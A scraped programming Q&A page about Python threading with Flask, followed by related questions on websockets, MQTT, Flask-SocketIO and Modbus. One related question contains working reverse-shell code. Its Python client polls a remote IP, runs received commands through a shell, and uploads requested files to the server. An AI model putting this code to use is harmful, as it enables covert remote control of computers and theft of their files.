Python multithread and share class object - python

My python program has several threads and they need to share (read and write) to the same object.
I am having problems, sometimes the value is stored correctly but other threads don't have it updated quick enough and only on a second or third interaction they have it updated.
this is my code:
from flask import Flask, render_template, request, jsonify
import threading
from time import sleep
from gpiozero import LED, Button, DigitalOutputDevice
SUM_ALARM_NC = LED(5)
SUM_ALARM_NO = LED(6)
SUM_ALARM_LED = LED(13)
SUM_ALARM_IN = Button(12)
from dataclasses import dataclass
import string
#dataclass
class Config_File:
status: string
serial_interface: string
changed:string
app = Flask(__name__, static_folder = 'assets')
#app.route("/")
def Index():
return render_template("index.html")
#app.route("/_monitoring")
def _monitoring():
return jsonify(_status = Config_File.status.strip(), _serial_interface = Config_File.serial_interface.strip())
#---------------------------------------------------------------------------------------------------------------
#app.route("/_saveserial")
def saveserial():
Config_File.changed = "1\n"
Config_File.serial_interface = str(request.args.get('RS232')) + "," + str(request.args.get('baudrate')) + "," + str(request.args.get('parity')) + "," + str(request.args.get('databit')) + "," + str(request.args.get('address')) + "\n"
return ""
def Monitoring_IO_thr():
while (True):
if SUM_ALARM_IN.is_pressed:
Config_File.changed = "0\n"
Config_File.status = "1\n"
SUM_ALARM_LED.on()
else:
Config_File.status = "0\n"
SUM_ALARM_LED.off()
sleep(0.5)
#### Save config_file class to the config.ini file ######################
def Save_Config_File_thr():
while (True):
if Config_File.changed == "1\n":
Config_File.changed = "0\n"
file_read = "config.ini"
fileobj = open(file_read,'r').readlines()
fileobj[3]= "Status:"+ Config_File.status
fileobj[21]= "Serial:" + Config_File.serial_interface
fileobj[55]= "Changed:" + Config_File.changed
# writes lines
with open(file_read,'w') as file:
file.writelines(fileobj)
file.close()
sleep(1)
if __name__ == "__main__":
Config_File.serial_interface="RS232,9600,Even,7,A\n"
Monitoring_IO_thread = threading.Thread(target = Monitoring_IO_thr)
Monitoring_IO_thread.start()
Save_Config_File_thread = threading.Thread(target = Save_Config_File_thr)
Save_Config_File_thread.start()
app.run(host='192.168.150.144', port=5050, debug=True)
Monitoring_IO_thread.join()
Save_Config_File_thread.join()
and this are my scripts
<script>
$(document).ready(function ()
{
$(function()
{
//SERIAL INTERFACE CHANGE - script to deal with the request to change the serial interface
$('#saveserial').on('click',function()
{
var data =
{
RS232: $('#RS232').val(),
baudrate: $('#baudrate').val(),
parity: $('#parity').val(),
databit: $('#databit').val(),
address: $('#address').val(),
};
$.getJSON("/_saveserial", data, function ()
{
});
});
});
$(function monitoring()
{
$.getJSON('/_monitoring', function(data)
{
if (data._status == "1")
{
$("#alarm_on").attr("hidden", false);
$("#alarm_off").attr("hidden", true);
}
if (data._status == "0")
{
$("#alarm_on").attr("hidden", true);
$("#alarm_off").attr("hidden", false);
}
setTimeout(function(){monitoring();},500);
});
}
);
});
</script>
How can I share Config_File between threads?
After your precious help I tried the following:
from multiprocessing import Process, Lock
mutex=Lock()
def Monitoring_IO_thr():
mutex.acquire()
try:
while(True):
Inputs_Monitoring()
sleep(0.5)
finally:
mutex.release()
def Save_Config_File_thr():
mutex.acquire()
try:
while(True):
if Config_File.changed == "1\n":
Config_File.serial_interface)
#save to file
Config_File.changed = "0\n"
Save_config()
out("saving config.ini")
sleep(1)
finally:
mutex.release()
if __name__ == "__main__":
Init()
app.run(host='192.168.150.144', port=5050, debug=True)
while(True):
Monitoring_IO_thread = threading.Thread(target = Monitoring_IO_thr)
Monitoring_IO_thread.start()
Save_Config_File_thread = threading.Thread(target = Save_Config_File_thr)
Save_Config_File_thread.start()
Not sure why but the program never runs both threads... any ideas what am I doing wrong?

Related

How can stomp with RabbitMQ be faster than just a normal websocket?

Sending 100 000 messages of 300 characters from a python server to a JavaScript client using RabbitMQ and STOMP takes 10-20 seconds:
Python server:
import stomp
PORT = 61613
LOCALHOST = '0.0.0.0'
conn = stomp.Connection11([(LOCALHOST, PORT)])
# conn.start()
conn.connect('guest','guest')
# from time import sleep
from random import choice, randint
from string import ascii_uppercase
from time import time
conn.send(body="start",destination='/queue/test')
t = time()
for i in range(100000):
conn.send(body=''.join(choice(ascii_uppercase) for i in range(300)),destination='/queue/test')
t = time() - t
conn.send(body="end",destination='/queue/test')
print()
print(100000, "took ", t*1000, " ms")
conn.disconnect()
JavaScript client:
<script>
var client = Stomp.client('ws://localhost:15674/ws');
var test = document.getElementById("test")
client.debug = null;
var date1 = null
var date2 = null
test.innerText = "READY... START!"
var sub = function(d) {
test.innerText = d.body
if(d.body == "start") {
date1 = new Date().valueOf()
}
if(d.body == "end") {
date2 = new Date().valueOf()
console.log(100000, "took ", date2 - date1, " ms")
}
}
var on_connect = function(x) {
id = client.subscribe("/queue/test", sub);
console.log("connected")
};
var on_error = function(e) {
console.log('error', e);
};
client.connect('guest', 'guest', on_connect, on_error, '/');
</script>
However, when I tried to do it with just a plain websocket, this takes at least 22 seconds:
Python server:
import asyncio
import websockets
import random
import string
async def echo(websocket):
print("connected")
await websocket.send("start")
for i in range(100000):
await websocket.send(''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(300)))
await websocket.send("end")
print("sent")
async def main():
async with websockets.serve(echo, "localhost", 8765):
await asyncio.Future()
javascript client:
<body>
<div id="test">
READY... SET... GO!!
</div>
<script>
var time1 = null
var time2 = null
var socket = new WebSocket('ws://localhost:8765/ws');
socket.onmessage = function(e) {
var server_message = e.data;
if (server_message == "start") {
time1 = new Date().valueOf()
}
if (server_message == "end") {
time2 = new Date().valueOf()
console.log("100000 messages took ", (time2 - time1) / 1000, "seconds")
}
document.getElementById("test").innerText = server_message
}
</script>
</body>
Is there any reason for this? I thought STOMP is basically websocket + whatever RabbitMQ is doing (after all the client is receiving information through a websocket), so wouldn't it be slower than just a plain websocket? Or is the problem with asyncio?
Thanks!

How to access data in outside function from inside function?

In this server.py, I am not understanding how to access "inputData" outside sendmsg(arr) function
I tried many ways but it is not getting.
from client I am sending userdetails and accessing in server.
Through mqtt lens, I am sending data to server.py. I am getting data to server.py but I am not understanding how to call function and access data.
In normal we can call function ex: func() ,but her i have arguments in function.
How to call this sendmsg() function and get inputData is getting problem.
I have used gobal keyword but it is not getting data.
After sending message from mqtt only, inputData should access outside.
the below code is html client
If anyone know please suggest me
client.py
<!DOCTYPE html>
<html>
<head>
<!-- <meta http-equiv="refresh" content="30"> -->
<title>WebSocket demo</title>
</head>
<body>
<ul id="received_messages"></ul>
<script>
const user_credentials = {
type: "credentials",
name: "vinay",
email: "vinay5678#gmail.com"
}
let userHashCode = ''
const receivedMessages = document.getElementById("received_messages");
var ws = new WebSocket("ws://127.0.0.1:5678/"),
messages = document.createElement('ul');
ws.onopen = function() {
ws.send(JSON.stringify(user_credentials));
};
ws.onmessage = function(event) {
let message = document.createElement('li');
console.log(event.data)
message.innerText = `${event.data}`;
document.body.appendChild(message);
};
</script>
</body>
</html>
The below code is server.py
server.py
import asyncio
import datetime
import random
import websockets
import json
import bcrypt
import paho.mqtt.client as mqtt
websocketData = {}
async def time(websocket, path):
usr_details = await websocket.recv()
usr_details = json.loads(usr_details)
usr_name = usr_details['name']
print(usr_details)
usr_name = usr_details['name']
now = datetime.datetime.utcnow().isoformat() + "Z"
salt = bcrypt.gensalt(5)
hashCode = bcrypt.hashpw(bytes(usr_name, 'utf-8'), salt=salt)
websocketData[hashCode.decode('utf-8')] = websocket
print(websocketData)
data = {"name": usr_name, "date": now, "hashCodeOfUser": (hashCode).decode('UTF-8'), "msg": "User Created"}
print(data)
await websocket.send(json.dumps(data))
############################################################
broker="broker.emqx.io"
def on_message(mqttc, obj, msg):
# print(msg.topic + " " + str(msg.qos) + " " + str(msg.payload))
message = (msg.payload).decode("utf-8")
global arr
arr = message.split()
# print(arr)
# print(arr[0])
sendmsg(arr)
mqttc = mqtt.Client(client_id="")
mqttc.on_message = on_message
mqttc.connect(broker, 1883, 60)
mqttc.subscribe("vinay/websockets/topic/1",qos=0)
###############################################################
# function to receive the data
def sendmsg(arr):
print("mqtt msg", arr)
# global inputData
# global printData
inputData = {
"type": "dataSend",
"name": usr_details['name'],
"accessKey": hashCode.decode('utf-8'),
"senderKey": arr[0],
"msg": arr[1]
}
printData = {
"name": usr_details['name'],
"msg": arr[1]
}
# print(inputData)
# print(printData)
mqttc.loop_forever()
start_server = websockets.serve(time, "127.0.0.1", 5678 )
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
One such way is to define the global variables outside the function. Or the better way is to use global keyword. Use of "global" keyword in Python
import asyncio
import datetime
import random
import websockets
import json
import bcrypt
import paho.mqtt.client as mqtt
websocketData = {}
async def time(websocket, path):
usr_details = await websocket.recv()
usr_details = json.loads(usr_details)
usr_name = usr_details['name']
inputData = {}
print(usr_details)
usr_name = usr_details['name']
now = datetime.datetime.utcnow().isoformat() + "Z"
salt = bcrypt.gensalt(5)
hashCode = bcrypt.hashpw(bytes(usr_name, 'utf-8'), salt=salt)
websocketData[hashCode.decode('utf-8')] = websocket
print(websocketData)
data = {"name": usr_name, "date": now, "hashCodeOfUser": (hashCode).decode('UTF-8'), "msg": "User Created"}
print(data)
await websocket.send(json.dumps(data))
############################################################
broker="broker.emqx.io"
def on_message(mqttc, obj, msg):
# print(msg.topic + " " + str(msg.qos) + " " + str(msg.payload))
message = (msg.payload).decode("utf-8")
global arr
arr = message.split()
# print(arr)
# print(arr[0])
sendmsg(arr)
mqttc = mqtt.Client(client_id="")
mqttc.on_message = on_message
mqttc.connect(broker, 1883, 60)
mqttc.subscribe("vinay/websockets/topic/1",qos=0)
###############################################################
# function to receive the data
def sendmsg(arr):
print("mqtt msg", arr)
# global inputData
# global printData
inputData = {
"type": "dataSend",
"name": usr_details['name'],
"accessKey": hashCode.decode('utf-8'),
"senderKey": arr[0],
"msg": arr[1]
}
printData = {
"name": usr_details['name'],
"msg": arr[1]
}
# print(inputData)
# print(printData)
mqttc.loop_forever()
start_server = websockets.serve(time, "127.0.0.1", 5678 )
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

Winsock, GET html response

I am trying to do a reverse shell by http, and my server simply waits for a connection and when it's up I write the command in html to execute.
#include<stdio.h>
#include<winsock2.h>
#pragma comment(lib,"ws2_32.lib")
int main(int argc , char *argv[]){
WSADATA wsa;
SOCKET s;
char *source="";
int i=0;
struct sockaddr_in server;
char *htmlRequest , htmlResponse[2000];
int recv_size;
if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
return 1;
if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
return 1;
server.sin_addr.s_addr = inet_addr("127.0.0.1");
server.sin_family = AF_INET;
server.sin_port = htons(80);
if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0)
return 1;
htmlRequest = "GET / HTTP/1.1\nAccept: text/plain, text/html\n\r\n\r\n\r\n\r\n";
if( send(s , htmlRequest , strlen(htmlRequest) , 0) < 0)
return 1;
recv_size = recv(s , htmlResponse, sizeof(htmlResponse) , 0);
htmlResponse[recv_size] = '\0';
printf("%s",htmlResponse);
return 0;
}
And the py server is:
import BaseHTTPServer
import os,cgi
HOST_NAME = '0.0.0.0'
PORT_NUMBER = 80
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(s):
command = raw_input("Shell> ")
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
s.wfile.write(command)
def do_POST(s):
if s.path=='/store':
try:
ctype,pdict=cgi.parse_header(s.headers.getheader('content-type'))
if ctype=='multipart/form-data':
fs=cgi.FieldStorage(fp=s.rfile,headers=s.headers,environ={'REQUEST_METHOD':'POST'})
else:
print "[-] Unexpected POST request"
fs_up=fs['file']
with open('C:\Users\user\Desktop\demo.txt','wb') as o:
o.write(fs_up.file.read())
s.send_response(200)
s.end_headers()
except Exception as e:
print e
return
s.send_response(200)
s.end_headers()
length = int(s.headers['Content-Length'])
postVar = s.rfile.read(length)
print postVar
if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print '[!] Server is terminated'
httpd.server_close()
The problem is when I write the command to my webpage, it writes perfectly but my c "client" doesn't show the html. But when I try to get the html of another webpage, it works perfectly.
I try to do "client" in py and it works.
import requests
import subprocess
import time
import os
while True:
req = requests.get('http://188.153.153.21')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab,path=command.split('*')
if os.path.exists(path):
url='http://127.0.0.1/store'
files = {'file': open(path, 'rb')}
r=requests.post(url, files=files)
else:
post_response = requests.post(url='http://127.0.0.1', data='[-] Not able to find the file !' )
else:
CMD = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True)
post_response = requests.post(url='http://127.0.0.1', data=CMD.stdout.read() )
post_response = requests.post(url='http://127.0.0.1', data=CMD.stderr.read() )
time.sleep(1)

Confused on proper implementation of Flask blueprints and socketio

I have a Flask app that I have restructured to leverage blueprints. The application runs and everything seems to be going ok except for SocketIO and my socketio.on events. I never see SocketIO and the web socket attempt to connect or disconnect in Chrome debugger all it ever says is pending. I have checked the Flask SocketIO Chat example here, and got some ideas. I moved all my events back into my views.py. I can't seem to figure out why my sockio.on events are not getting called or firing off. Here is my code.
app.py
from factory import create_app
from flask.ext.socketio import SocketIO
app = create_app()
socketio = SocketIO(app)
factory.py
import logging
from logging.handlers import RotatingFileHandler
from flask import Flask
# from flask.ext.socketio import SocketIO
from flask.ext.login import LoginManager
import os
from celery import Celery
lm = LoginManager()
# socketio = SocketIO()
lm.login_view = 'main.login'
lm.session_protection = 'strong'
def create_app():
app = Flask(__name__)
app.clients = {}
app.config.from_object(os.environ.get('APP_CONFIG')) # export APP_CONFIG=settings.Development
lm.init_app(app)
from project.main import main as main_blueprint
app.register_blueprint(main_blueprint)
# socketio.init_app(app)
# print app.config['LOGPATH']
if not os.path.isdir(app.config['LOGPATH']):
print 'Log dir not found'
os.makedirs(app.config['LOGPATH'])
if not os.path.isdir(app.config['UPLOAD_FOLDER']):
print 'Upload dir not found'
os.makedirs(app.config['UPLOAD_FOLDER'])
# See Flask error handling for more info on logging
file_handler = RotatingFileHandler(app.config['LOGPATH'] + 'my.log', maxBytes=1024 * 1024 * 10, backupCount=20)
file_handler.setFormatter(logging.Formatter("%(asctime)s - %(name)s - %(levelname)s -%(module)s - %(lineno)d - %(message)s"))
app.logger.setLevel(logging.DEBUG)
app.logger.addHandler(file_handler)
app.logger.debug('Starting My Application')
# app.logger.debug(socketio)
return app
def make_celery(app=None):
app = app or create_app()
celery = Celery(app.import_name, broker=app.config['CELERY_BROKER_URL'])
# celery.conf.update(app.config)
celery.config_from_envvar('APP_CONFIG')
TaskBase = celery.Task
class ContextTask(TaskBase):
abstract = True
def __call__(self, *args, **kwargs):
with app.app_context():
return TaskBase.__call__(self, *args, **kwargs)
celery.Task = ContextTask
return celery
main/_init_.py
from flask import Blueprint
main = Blueprint('main', __name__, template_folder='templates', static_folder='static')
import views
# import events
main/views.py
from celery import chain
from flask import render_template, request, url_for, jsonify, current_app, session
from . import main
from flask.ext.socketio import emit, disconnect
from ..app import socketio
from flask.json import dumps
from werkzeug.utils import secure_filename, redirect
from flask.ext.login import login_required, login_user, logout_user
from uuid import uuid4
from project.tasks import *
#main.route('/')
# #login_required
def index():
event_count = 0
current_app.logger.debug('Loaded homepage')
current_app.logger.debug(socketio)
return render_template('index.html',
event_count=event_count,
http_id=session['http_id'])
# #login_required
#main.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files['file']
websocket_session_id = request.form.get('session')
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(current_app.config['UPLOAD_FOLDER'], filename))
chain(
parse.s(filename, session['http_id']),
create_sphere.s(session['http_id'], websocket_session_id, url_for('main.event', _external=True))
)()
# parse.delay(filename, session['http_id'])
# (filename, session['http_id']),
# link=create_sphere.s(session['http_id'], websocket_session_id, url_for('main.event', _external=True))
# )
# parse.apply_async(chain)
return jsonify({'status': 'processing CSV'})
else:
return jsonify({'status': 'wrong file type'})
if request.method == 'GET':
return render_template('upload.html')
#main.route('/clients', methods=['GET'])
def clients():
return jsonify({'clients': current_app.clients.keys()})
#main.route('/event/', methods=['POST'])
def event():
print '\n'
print 'request =', request
print 'request.json =', request.json
current_app.logger.debug('task: {t}'.format(t=request.json['task']))
current_app.logger.debug('success: {s}'.format(s=request.json['success']))
websocket_id = request.json['websocket_id']
current_app.logger.debug(websocket_id)
if request.json['task'] == 'task_sphere' and request.json['success']:
current_app.logger.debug('successfully parsed CSV data')
current_app.logger.debug(request)
websocket_id = request.json['websocket_id']
http_id = request.json['http_id']
current_app.logger.debug(websocket_id)
current_app.logger.debug(http_id)
# try:
conn = pymongo.MongoClient(current_app.config['MONGO_URL'])
db = conn.events
collection = db['%s' % http_id]
current_app.logger.debug('Collection: {c}'.format(c=collection))
ns = current_app.clients.get(websocket_id)
if ns:
current_app.logger.debug(ns)
nodes = dumps(list(collection.find({'type' : 'node'})))
edges = dumps(list(collection.find({'type' : 'edge'})))
if nodes:
ns.emit('insert_nodes', nodes)
if edges:
ns.emit('insert_edges', edges)
# ns.emit('insert_data', dumps(list(collection.find())))
# return 'ok'
# except:
# print 'Could not connect to MongoDB: %s'
# return 'ok'
return 'ok'
# #lm.user_loader
# def load_user(username):
# u = main.config['USERS_COLLECTION'].find_one({"_id": username})
# if not u:
# return None
# return User(u['_id'])
#main.route('/login', methods=['GET', 'POST'])
def login():
error = None
if request.method == 'POST':
if request.form['username'] != 'admin' or request.form['password'] != 'admin':
error = 'Invalid Creds'
else:
session['logged_in'] = True
session['http_id'] = str(uuid4())
return redirect(url_for('main.login'))
return render_template('login.html', error=error)
#main.route('/logout')
#login_required
def logout():
logout_user()
return redirect(url_for('main.login'))
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1] in current_app.config['ALLOWED_EXTENSIONS']
##### Put events here for the time being #####
#socketio.on('status', namespace='/events')
def events_message(message):
current_app.logger.debug(message['status'])
print 'socketio.on: status'
emit('status', {'status': message['status']})
#socketio.on('disconnect request', namespace='/events')
def disconnect_request():
print 'socketio.on: disconnect request'
current_app.logger.debug('DISCONNECT REQUEST')
emit('status', {'status': 'Disconnected!'})
disconnect()
#socketio.on('connect', namespace='/events')
def events_connect():
print 'socketio.on: connect'
websocket_id = str(uuid4())
session['websocket_id'] = websocket_id
current_app.logger.debug(websocket_id)
current_app.clients[websocket_id] = request.namespace
emit('websocket_id', {'websocket_id': websocket_id})
#socketio.on('disconnect', namespace='/events')
def events_disconnect():
print 'socketio.on: diconnect'
current_app.logger.debug('DISCONNECT')
del current_app.clients[session['websocket_id']]
print('Client %s disconnected' % session['websocket_id'])
static/js/application.js
var namespace = '/events'; // change to an empty string to use the global namespace
var socket = io.connect('http://' + document.domain + ':' + location.port + namespace);
var jared;
var edges;
var nodes;
socket.on('connect', function () {
console.log('socketio: connect');
});
socket.on('disconnect', function () {
console.log('socketio: disconnect');
$('#websocket_id').text('not available');
});
socket.on('websocket_id', function (msg) {
console.log('updating html elements with correct session', msg.websocket_id);
$('input[name="session"]').val(msg.websocket_id);
$('#websocket_id').text(msg.websocket_id);
});
socket.on('insert_nodes', function (msg) {
//console.log(msg);
//jared = msg;
$('#myModal').modal('hide');
nodes = JSON.parse(msg);
console.log('here are the nodes', nodes);
var pcGeometry = new THREE.Geometry();
for (var i = 0; i < nodes.length; i++) {
var position = nodes[i].position;
//console.log(position);
vector = new THREE.Vector3(position.x, position.y, position.z);
//console.log(vector);
pcGeometry.vertices.push(vector);
}
//console.log(geometry);
pcMat = new THREE.PointCloudMaterial();
pcMat.size = 10;
pcMat.transparent = true;
pcMat.blending = THREE.AdditiveBlending;
pcMat.color = new THREE.Color(0x5555ff);
pc = new THREE.PointCloud(pcGeometry, pcMat);
pc.sizeAttenuation = true;
webGLScene.add(pc);
});
socket.on('insert_edges', function (msg) {
function getById(id, myArray) {
return myArray.filter(function (obj) {
if (obj._id.$oid == id) {
return obj
}
})[0]
}
edges = JSON.parse(msg);
console.log('here are the edges', edges);
var material = new THREE.LineBasicMaterial({
opacity: .3,
blending: THREE.AdditiveBlending,
transparent: true
});
//geometry.vertices.push(start);
for (var i = 0; i < edges.length; i++) {
var start = edges[i].start.$oid;
var start_pos = getById(start, nodes);
var start_vec = new THREE.Vector3(start_pos.position.x, start_pos.position.y, start_pos.position.z);
var end = edges[i].end.$oid;
var end_pos = getById(end, nodes);
var end_vec = new THREE.Vector3(end_pos.position.x, end_pos.position.y, end_pos.position.z);
var geometry = new THREE.Geometry();
geometry.vertices.push(start_vec);
geometry.vertices.push(end_vec);
var line = new THREE.Line(geometry, material);
webGLScene.add(line);
}
});
socket.on('status', function (msg) {
console.log('status', msg);
});

How to asynchronously read data via modbus/TCP and send them to web

I need to receive data from device connected via Ethernet (modbus/TCP) and send it to webpage (maybe using web sockets).
I can't find good examples. Now I can connect with driver and print values using ModbusClientProtocol.read_input_registers() but I had to create own factory and protocol class. I am using autobahn, twisted, pymodbus.
I've no familiarity with modbus or pymodbus, so I'm guessing and leaving a lot of blanks for you to fill in.
This is hacked out of something I recently put together to receive snmptraps and redistribute the information to connected websockets.
Hopefully this is enough to get you going:
#!/usr/bin/python
from twisted.internet import protocol, reactor, utils, defer
from twisted.web.server import Site
from twisted.web.static import File
from autobahn.websocket import WebSocketServerFactory, WebSocketServerProtocol
from autobahn.util import newid
from autobahn.resource import WebSocketResource
class ModbusThing(object):
def __init__(self,clientAddress):
self.clientAddress = clientAddress
self.client = None
def start(self):
pass
## Create client connection to modbus server
## Start Looping Call of pollForData with suitable interval
def pollForData(self):
pass
## Call read methods on ModbusClient object, add call backs to process the results
## Add errorBacks to notify of errors
def resultCallback(self,result):
pass
## Process the data from a read request
## Assumes that your websocket clients expect json like {"event":"update","data":[0,1,2]}
message = dict(event="update",data=processedResults)
self.broadcast(json.dumps(message))
def broadcast(self,msg):
"""Override me"""
pass
class TrackingWebSocketProtocol(WebSocketServerProtocol):
def onOpen(self):
self.session_id = newid()
self.factory._addSession(self,self.session_id)
print "Socket Open %s" % (self.peerstr,)
def onMessage(self,payload,isBinary):
print "Message received from %s\n\t: %r" % (self.peerstr,payload)
def onClose(self,wasClean,code,reason):
self.factory._removeSession(self)
print "Socket Closed %s" % (self.peerstr,)
class TrackingWebSocketFactory(WebSocketServerFactory):
def __init__(self,*args,**kwargs):
WebSocketServerFactory.__init__(self,*args,**kwargs)
self.proto2session = {}
self.session2proto = {}
def _addSession(self,proto,session_id):
if not self.proto2session.has_key(proto):
self.proto2session[proto] = session_id
else:
raise Exception("logic error - dublicate _addSession for protoToSessions")
if not self.session2proto.has_key(session_id):
self.session2proto[session_id] = proto
else:
raise Exception("logic error - dublicate _addSession for sessionsToProto")
def _removeSession(self,proto):
if proto in self.proto2session:
session_id = self.proto2session[proto]
del self.proto2session[proto]
if session_id in self.session2proto:
del self.session2proto[session_id]
def sendToAll(self,message,binary=False):
prepped = self.prepareMessage(message,binary)
for proto in self.proto2session.keys():
proto.sendPreparedMessage(prepped)
def run():
## WebSocket Factory
wsfactory = TrackingWebSocketFactory('ws://yourhostname:80')
wsfactory.protocol = TrackingWebSocketProtocol
wsresource = WebSocketResource(wsfactory)
## Modbus handler
modbus_thing = ModbusThing((addressofserver,portofserver))
modbus_thing.broadcast = wsfactory.sendToAll
modbus_thing.start()
## WebServer Site
# "static" subdirectory, containing http served resources, e.g. index.html, javascript and css
root = File("static")
# Your websocket service as 'ws://yourhostname/ws'
root.putChild("ws", wsresource)
site = Site(root)
reactor.listenTCP(80,site)
def main():
reactor.callWhenRunning(run)
reactor.run()
if __name__=='__main__':
main()
On the browser side of things. A little module for interacting with websockets is handy:
var FancyWebSocket = function(url){
var conn = null;
var fws = this;
if ("WebSocket" in window) {
conn = new WebSocket(url);
} else if ("MozWebSocket" in window) {
conn = new MozWebSocket(url);
} else {
console.log("Error Websockets not supported in browser");
return;
}
var callbacks = {};
var debug = true;
this.bind = function(event_name, callback){
callbacks[event_name] = callbacks[event_name] || [];
callbacks[event_name].push(callback);
return this;// chainable
};
this.send = function(event_name, event_data){
var payload = JSON.stringify({event:event_name, data: event_data});
conn.send( payload ); // <= send JSON data to socket server
return this;
};
this.close = function(){ conn.close(); return this;}
// dispatch to the right handlers
conn.onmessage = function(evt){
if (debug) console.log("Websocket(" + conn.URL + ") Message: " + evt.data)
var json = JSON.parse(evt.data)
dispatch(json.event, json.data)
};
conn.onclose = function(){
if (debug) console.log("Websocket(" + conn.URL + ") Closed");
dispatch('close',fws);
}
conn.onopen = function(){
if (debug) console.log("Websocket(" + conn.URL + ") Open");
dispatch('open',fws);
}
conn.onerror = function(e){
if (debug) console.log("Websocket(" + conn.URL + ") Error: " + error);
dispatch('error',fws,e);
}
this.setdebug = function(v) { debug=v; return this; }
var dispatch = function(event_name, message){
var chain = callbacks[event_name];
if(typeof chain == 'undefined') return; // no callbacks for this event
for(var i = 0; i < chain.length; i++){
chain[i]( message )
}
}
};
Then in your browser console:
conn = new FancyWebSocket("ws://yourhostname/ws");

Categories

Resources